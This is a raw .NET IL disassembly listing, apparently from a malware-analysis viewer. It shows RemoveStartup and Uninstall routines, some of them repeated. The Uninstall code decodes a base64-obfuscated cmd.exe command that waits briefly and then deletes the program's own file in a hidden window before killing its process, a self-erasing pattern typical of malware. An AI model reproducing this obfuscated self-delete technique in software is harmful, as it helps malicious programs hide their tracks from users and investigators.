000069c2ldc.i4.0
000069c3dup
000069c4stloc.0
000069c5stfld <>1__state
000069caldarg.0
000069cbldloc.2
000069ccstfld <>u__1
000069d1ldarg.0
000069d2ldflda <>t__builder
000069d7ldloca.s 2
000069d9ldarg.0
000069dacall 0x2B00004D
000069dfleave.s IL_00ae
000069e1ldarg.0
000069e2ldfld <>u__1
000069e7stloc.2
000069e8ldarg.0
000069e9ldflda <>u__1
000069eeinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
000069f4ldarg.0
000069f5ldc.i4.m1
000069f6dup
000069f7stloc.0
000069f8stfld <>1__state
000069fdldloca.s 2
000069ffcall GetResult
00006a04stloc.1
00006a05leave.s IL_009a
00006a07stloc.3
00006a08ldarg.0
00006a09ldc.i4.s -2
00006a0bstfld <>1__state
00006a10ldarg.0
00006a11ldflda <>t__builder
00006a16ldloc.3
00006a17call SetException
00006a1cleave.s IL_00ae
00006a1eldarg.0
00006a1fldc.i4.s -2
00006a21stfld <>1__state
00006a26ldarg.0
00006a27ldflda <>t__builder
00006a2cldloc.1
00006a2dcall SetResult
00006a32ret
00006984
00006a50
00006a50<RemoveStartup>d__16::MoveNext:
00006a50ldarg.0
00006a51ldfld <>1__state
00006a56stloc.0
00006a57ldloc.0
00006a58brfalse.s IL_005a
00006a5anewobj .ctor
00006a5fdup
00006a60ldarg.0
00006a61ldfld executablePath
00006a66stfld executablePath
00006a6bldftn <RemoveStartup>b__0
00006a71newobj .ctor
00006a76call Run
00006a7bcallvirt GetAwaiter
00006a80stloc.1
00006a81ldloca.s 1
00006a83call get_IsCompleted
00006a88brtrue.s IL_0076
00006a8aldarg.0
00006a8bldc.i4.0
00006a8cdup
00006a8dstloc.0
00006a8estfld <>1__state
00006a93ldarg.0
00006a94ldloc.1
00006a95stfld <>u__1
00006a9aldarg.0
00006a9bldflda <>t__builder
00006aa0ldloca.s 1
00006aa2ldarg.0
00006aa3call 0x2B00004E
00006aa8leave.s IL_00a9
00006aaaldarg.0
00006aabldfld <>u__1
00006ab0stloc.1
00006ab1ldarg.0
00006ab2ldflda <>u__1
00006ab7initobj System.Runtime.CompilerServices.TaskAwaiter
00006abdldarg.0
00006abeldc.i4.m1
00006abfdup
00006ac0stloc.0
00006ac1stfld <>1__state
00006ac6ldloca.s 1
00006ac8call GetResult
00006acdleave.s IL_0096
00006acfstloc.2
00006ad0ldarg.0
00006ad1ldc.i4.s -2
00006ad3stfld <>1__state
00006ad8ldarg.0
00006ad9ldflda <>t__builder
00006adeldloc.2
00006adfcall SetException
00006ae4leave.s IL_00a9
00006ae6ldarg.0
00006ae7ldc.i4.s -2
00006ae9stfld <>1__state
00006aeeldarg.0
00006aefldflda <>t__builder
00006af4call SetResult
00006af9ret
00006a50
00006a50<RemoveStartup>d__16::MoveNext:
00006a50ldarg.0
00006a51ldfld <>1__state
00006a56stloc.0
00006a57ldloc.0
00006a58brfalse.s IL_005a
00006a5anewobj .ctor
00006a5fdup
00006a60ldarg.0
00006a61ldfld executablePath
00006a66stfld executablePath
00006a6bldftn <RemoveStartup>b__0
00006a71newobj .ctor
00006a76call Run
00006a7bcallvirt GetAwaiter
00006a80stloc.1
00006a81ldloca.s 1
00006a83call get_IsCompleted
00006a88brtrue.s IL_0076
00006a8aldarg.0
00006a8bldc.i4.0
00006a8cdup
00006a8dstloc.0
00006a8estfld <>1__state
00006a93ldarg.0
00006a94ldloc.1
00006a95stfld <>u__1
00006a9aldarg.0
00006a9bldflda <>t__builder
00006aa0ldloca.s 1
00006aa2ldarg.0
00006aa3call 0x2B00004E
00006aa8leave.s IL_00a9
00006aaaldarg.0
00006aabldfld <>u__1
00006ab0stloc.1
00006ab1ldarg.0
00006ab2ldflda <>u__1
00006ab7initobj System.Runtime.CompilerServices.TaskAwaiter
00006abdldarg.0
00006abeldc.i4.m1
00006abfdup
00006ac0stloc.0
00006ac1stfld <>1__state
00006ac6ldloca.s 1
00006ac8call GetResult
00006acdleave.s IL_0096
00006acfstloc.2
00006ad0ldarg.0
00006ad1ldc.i4.s -2
00006ad3stfld <>1__state
00006ad8ldarg.0
00006ad9ldflda <>t__builder
00006adeldloc.2
00006adfcall SetException
00006ae4leave.s IL_00a9
00006ae6ldarg.0
00006ae7ldc.i4.s -2
00006ae9stfld <>1__state
00006aeeldarg.0
00006aefldflda <>t__builder
00006af4call SetResult
00006af9ret
00006a50
00006b18
00006b18<Uninstall>d__17::MoveNext:
00006b18ldarg.0
00006b19ldfld <>1__state
00006b1estloc.0
00006b1fldloc.0
00006b20brfalse.s IL_004b
00006b22call GetEntryAssembly
00006b27callvirt get_Location
00006b2ccall RemoveStartup
00006b31callvirt GetAwaiter
00006b36stloc.1
00006b37ldloca.s 1
00006b39call get_IsCompleted
00006b3ebrtrue.s IL_0067
00006b40ldarg.0
00006b41ldc.i4.0
00006b42dup
00006b43stloc.0
00006b44stfld <>1__state
00006b49ldarg.0
00006b4aldloc.1
00006b4bstfld <>u__1
00006b50ldarg.0
00006b51ldflda <>t__builder
00006b56ldloca.s 1
00006b58ldarg.0
00006b59call 0x2B00004F
00006b5eleave IL_00f6
00006b63ldarg.0
00006b64ldfld <>u__1
00006b69stloc.1
00006b6aldarg.0
00006b6bldflda <>u__1
00006b70initobj System.Runtime.CompilerServices.TaskAwaiter
00006b76ldarg.0
00006b77ldc.i4.m1
00006b78dup
00006b79stloc.0
00006b7astfld <>1__state
00006b7fldloca.s 1
00006b81call GetResult
00006b86newobj .ctor
00006b8bdup
00006b8ccall get_UTF8
00006b91ldstr "L0MgY2hvaWNlIC9DIFkgL04gL0QgWSAvVCAzICYgRGVsICI="
00006b96call FromBase64String
00006b9bcallvirt GetString
00006ba0call GetEntryAssembly
00006ba5callvirt get_Location
00006baaldstr "\""
00006bafcall Concat
00006bb4callvirt set_Arguments
00006bb9dup
00006bbaldc.i4.1
00006bbbcallvirt set_WindowStyle
00006bc0dup
00006bc1ldc.i4.1
00006bc2callvirt set_CreateNoWindow
00006bc7dup
00006bc8ldstr "cmd.exe"
00006bcdcallvirt set_FileName
00006bd2call Start
00006bd7pop
00006bd8call GetCurrentProcess
00006bddcallvirt Kill
00006be2leave.s IL_00e3
00006be4stloc.2
00006be5ldarg.0
00006be6ldc.i4.s -2
00006be8stfld <>1__state
00006bedldarg.0
00006beeldflda <>t__builder
00006bf3ldloc.2
00006bf4call SetException
00006bf9leave.s IL_00f6
00006bfbldarg.0
00006bfcldc.i4.s -2
00006bfestfld <>1__state
00006c03ldarg.0
00006c04ldflda <>t__builder
00006c09call SetResult
00006c0eret
00006b18
00006b18<Uninstall>d__17::MoveNext:
00006b18ldarg.0
00006b19ldfld <>1__state
00006b1estloc.0
00006b1fldloc.0
00006b20brfalse.s IL_004b
00006b22call GetEntryAssembly
00006b27callvirt get_Location
00006b2ccall RemoveStartup
00006b31callvirt GetAwaiter
00006b36stloc.1
00006b37ldloca.s 1
00006b39call get_IsCompleted
00006b3ebrtrue.s IL_0067
00006b40ldarg.0
00006b41ldc.i4.0
00006b42dup
00006b43stloc.0
00006b44stfld <>1__state
00006b49ldarg.0
00006b4aldloc.1
00006b4bstfld <>u__1
00006b50ldarg.0
00006b51ldflda <>t__builder
00006b56ldloca.s 1
00006b58ldarg.0
00006b59call 0x2B00004F
00006b5eleave IL_00f6
00006b63ldarg.0
00006b64ldfld <>u__1
00006b69stloc.1
00006b6aldarg.0
00006b6bldflda <>u__1
00006b70initobj System.Runtime.CompilerServices.TaskAwaiter
00006b76ldarg.0
00006b77ldc.i4.m1
00006b78dup
00006b79stloc.0
00006b7astfld <>1__state
00006b7fldloca.s 1
00006b81call GetResult
00006b86newobj .ctor
00006b8bdup
00006b8ccall get_UTF8
00006b91ldstr "L0MgY2hvaWNlIC9DIFkgL04gL0QgWSAvVCAzICYgRGVsICI="
00006b96call FromBase64String
00006b9bcallvirt GetString
00006ba0call GetEntryAssembly
00006ba5callvirt get_Location
00006baaldstr "\""
00006bafcall Concat
00006bb4callvirt set_Arguments
00006bb9dup
00006bbaldc.i4.1
00006bbbcallvirt set_WindowStyle
00006bc0dup
00006bc1ldc.i4.1
00006bc2callvirt set_CreateNoWindow
00006bc7dup
00006bc8ldstr "cmd.exe"
00006bcdcallvirt set_FileName
00006bd2call Start
00006bd7pop
00006bd8call GetCurrentProcess
00006bddcallvirt Kill
00006be2leave.s IL_00e3
00006be4stloc.2
00006be5ldarg.0
00006be6ldc.i4.s -2
00006be8stfld <>1__state
00006bedldarg.0
00006beeldflda <>t__builder
00006bf3ldloc.2
00006bf4call SetException
00006bf9leave.s IL_00f6
00006bfbldarg.0
00006bfcldc.i4.s -2
00006bfestfld <>1__state
00006c03ldarg.0
00006c04ldflda <>t__builder
00006c09call SetResult
00006c0eret
00006b18
Loading..